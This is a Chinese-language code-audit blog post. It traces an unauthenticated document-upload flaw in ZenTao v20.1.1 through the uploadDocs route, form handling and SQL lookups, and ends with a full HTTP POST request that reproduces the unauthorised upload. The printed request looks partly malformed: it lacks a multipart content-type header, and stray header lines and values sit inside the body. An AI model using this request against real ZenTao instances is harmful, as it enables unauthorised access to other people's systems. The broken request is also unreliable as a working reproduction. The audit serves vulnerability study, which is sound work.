概述
因为前几天在P神的星球偶然看到一位大佬发的关于x道未授权的分析文章,感觉思路很清晰,于是我决定也跟着这位大佬的思路来学习一下,尝试自己审计一波源码,看看能不能学到什么东西,这里也非常感谢大佬的思路,那废话不多说,下面就开始我们的审计,这里我用的是文章中标明的版本(v20.1.1
),为了防止因为版本不一致导致审计有差异等问题,关于这套源码网上都是开源的,有需要的同学可以去网上找找,自行下载审计。口头禅来了嘿嘿,关键部分可能会进行模糊处理,主要是分享一下自己代码审计的过程,希望各位大佬理解,小弟不才,勿喷/(ㄒoㄒ)/~~,文章也会涉及一些比较基础的漏洞原理,方便各大读者理解。
审计过程
这里我们跟到doc类
下⾯的uploadDocs
⽅法,如图,那么uploadDocs
方法是通过反射获取的路由传参,这里有个小技巧,如果实在不知道系统路由怎么进行传参的,可以搭建一下源码,通过Burpsuite
抓包的形式来跟踪路由,那我这里就不过多分析了,路由放到下面了
/api.php?m=doc&f=uploaddocs&objectType=1&objectID=2&libID=3&moduleID=4&docType=5
这里可以看到是通过POST
请求,走到了loadModel
方法里,然后通过跟进getLibByID
方法发现这里执行了sql
语句
这里经过了解TABLE_DOCLIB
常量是doclib
表,这里后面我也看了一下,基本上没啥利用价值
然后我们跟随大佬的思路,找到这一部分代码,那么这段代码的解读就是,form::data($this->config->doc->form->create)
:通过配置项 $this->config->doc->form->create
创建文档表单的数据对象。
setDefault('addedBy', $this->app->user->account)
:为表单数据的 addedBy
字段设置默认值,值为当前用户的账号 $this->app->user->account
。get():获取最终的文档数据,用于后续处理。
我们跟进一下data
下的config
,这里我们到了form.class.php
下,首先可以看到图中,构造函数在类实例化时执行以下操作:
从 POST 请求中获取原始数据,并将其存储为对象形式
初始化一个用于存储处理数据的对象
初始化一个用于存储错误信息的空数组
这段data
方法主要用于生成并配置表单数据对象。它通过一个传入的配置对象 $configObject
(或默认配置)创建一个 form
对象,并基于配置生成最终的表单配置
往下继续看config
类
这个config
类方法主要用于处理表单配置,包括字段的验证、转换等操作
继续跟进convertField
该方法的主要目的是确保字段数据的有效性和一致性,同时处理错误信息以便后续使用
结合上面方法convertField,看到这一段,这里检查 rawdata
中是否存在该字段,empty($data)
: 检查 $data
是否为空,这可以是 null、空字符串或其他被视为“空”的值,如果该字段在原始数据中存在但处理后的数据是空的,那么就会进入这个条件的逻辑,从而进行错误处理,赋值给 $this->data
,最终是将 rawdata
中的字段经过处理后的结果(如果有效)存储到 data
中,形成一个有效的字段数据结构,然后会执⾏$docResult = $this->doc->create($docData)
看到这里的sql语句是不是很熟悉,前面也介绍过了,这里不过多解释,但这里有个点需要注意,SELECT * FROM ZT_DOCLIB
where id
= '$doc->lib'
这里必须要成立,只要表⾥⾯默认存在并且需要知道id
就可以,接下来会执⾏,通过getUpload
⽅法进⾏获取请求内容,那这⾥就需要构造⼀个上传的数据包就可以了,就可以执⾏sql
语句了,下面就开始构造数据包
漏洞利用
前面关于系统路由文章已经提及了,可以回过头去看看,那我们直接copy过来访问路由去构造一个上传的请求包发送,数据包如下:
POST /api.php?m=doc&f=uploaddocs&objectType=1&objectID=2&libID=3&moduleID=4&docType=5 HTTP/1.1
Host: zentaopms:8099
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: zentaosid=h34ae6fj103cthpeuaev3atdj4; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=doc
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
-----------------------------269651544533912382351498565806
Content-Disposition: form-data; name="addedBy"
admin
-----------------------------269651544533912382351498565806
Content-Disposition: form-data; name="module"
Admin123
10
Content-Length: 924
-----------------------------269651544533912382351498565806
Content-Disposition: form-data; name="uploadFormat"
combinedDocs
-----------------------------269651544533912382351498565806
Content-Disposition: form-data; name="lib"
1
-----------------------------269651544533912382351498565806
Content-Disposition: form-data; name="type"
attachment
-----------------------------269651544533912382351498565806
Content-Disposition: form-data; name="title"
adminadmin
-----------------------------269651544533912382351498565806
Content-Disposition: form-data; name="acl"
private
-----------------------------269651544533912382351498565806
Content-Disposition: form-data; name="uid"
111
-----------------------------269651544533912382351498565806
Content-Disposition: form-data; name="files[]"; filename="1.jpg"
Content-Type: image/jpeg
11
aaaa
-----------------------------269651544533912382351498565806--
至此未授权就复现成功了,其实后面还有很多好玩的地方,大佬也有很多思路,我就不一一展示了,这里重点只是审计未授权的审计过程,同时绕过诸多限制的方法,同时也感谢P神星球那位大佬的思路,有兴趣的大佬可以多多交流,希望能在未来能够看到越来越多有关于这种代码审计的文章和一些干货,扩宽自己的审计思路,在自己热爱的方向上不断学习吧!